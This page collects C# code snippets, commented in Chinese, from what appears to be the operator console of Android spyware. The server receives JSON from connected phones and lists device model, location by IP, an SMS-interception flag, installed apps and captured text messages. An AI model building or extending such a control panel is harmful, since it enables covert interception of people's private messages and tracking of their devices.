예제 #1
0
        //添加一条记录到列表
        private void addDataList(ClientInfoBean clientInfo, Socket socket)
        {
            if (clientInfo == null)
            {
                return;
            }
            if (hashTableSocket == null)
            {
                hashTableSocket = new Hashtable();
            }

            if (!hashTableSocket.ContainsKey(clientInfo.deviceId))
            {
                hashTableSocket.Add(clientInfo.deviceId, socket);

                int index = this.dataGridView1.Rows.Add();
                this.dataGridView1.Rows[index].Cells[0].Value = "第" + index + "条";
                this.dataGridView1.Rows[index].Cells[1].Value = "alis";
                this.dataGridView1.Rows[index].Cells[2].Value = clientInfo.phoneModle;
                this.dataGridView1.Rows[index].Cells[3].Value = true;
                this.dataGridView1.Rows[index].Cells[4].Value = clientInfo.isInterceptSMS;
                this.dataGridView1.Rows[index].Cells[5].Value = AllUtils.getIpsCity(clientInfo.ipAddress);
            }
            //  this.dataGridView1.DataSource = hashTableSocket;
        }
예제 #2
0
 internal static void updataSmsList(DataGridView dataGridView_sms, List <SmsInfoBean> smsList)
 {
     if (smsList == null)
     {
         return;
     }
     foreach (SmsInfoBean sms in smsList)
     {
         int index = dataGridView_sms.Rows.Add();
         dataGridView_sms.Rows[index].Cells[0].Value = sms.address;
         dataGridView_sms.Rows[index].Cells[1].Value = sms.type == 2;
         dataGridView_sms.Rows[index].Cells[2].Value = sms.body;
         dataGridView_sms.Rows[index].Cells[3].Value = AllUtils.getTimeFormat(sms.date);
     }
 }
예제 #3
0
        //接受客户端消息
        private void ReciveContent(Object obj)
        {
            int length = 0;

            while (true)
            {
                Console.WriteLine("ReciveContent:");

                Socket socketServer = obj as Socket;

                if (length == 0)
                {
                    byte[] headerByte = new byte[15];
                    socketServer.Receive(headerByte);
                    String header = System.Text.UTF8Encoding.Default.GetString(headerByte);
                    Console.WriteLine("client:===header:" + header);
                    listBox_log.Items.Add("client:===header:" + header);
                    try
                    {
                        length = int.Parse(header);
                    }
                    catch (Exception e)
                    {
                    }
                    continue;
                }
                byte[] buffer = new byte[length];
                int    len    = socketServer.Receive(buffer);

                StringBuilder sb = new StringBuilder();
                sb.Append(UTF8Encoding.UTF8.GetChars(buffer, 0, len));
                int end = 0;

                while ((end = length - len) > 0)
                {
                    length = end;
                    byte[] endBuffer = new byte[end];
                    len = socketServer.Receive(buffer);
                    sb.Append(UTF8Encoding.UTF8.GetChars(buffer, 0, len));
                    Console.WriteLine("读取了多长的数据?:" + len);
                }
                Console.WriteLine("body:" + sb.ToString());



                if (sb.Length == 0)
                {
                    Console.WriteLine("body是空的啊");
                    continue;
                }
                length = 0;

                //添加数据
                ClientInfoBean clientInfo = AllUtils.jsonToObj(sb.ToString(), typeof(ClientInfoBean)) as ClientInfoBean;
                if (clientInfo == null)
                {
                    Console.WriteLine("数据格式有问题==========");
                    return;
                }
                //upData
                addDataList(clientInfo, socketServer);

                UIAppList.updataAppsData(this.dataGridView_apps, clientInfo.appList);

                IPEndPoint clientipe = (IPEndPoint)socketServer.RemoteEndPoint;
                //clientInfo.ipAddress = clientipe.Address.ToString();
                UIAppList.updataPhoneInfo(this.listBox_phone_info, clientInfo);
                // UIAppList.updataSmsList(this.dataGridView_sms, clientInfo.smsList);
            }
        }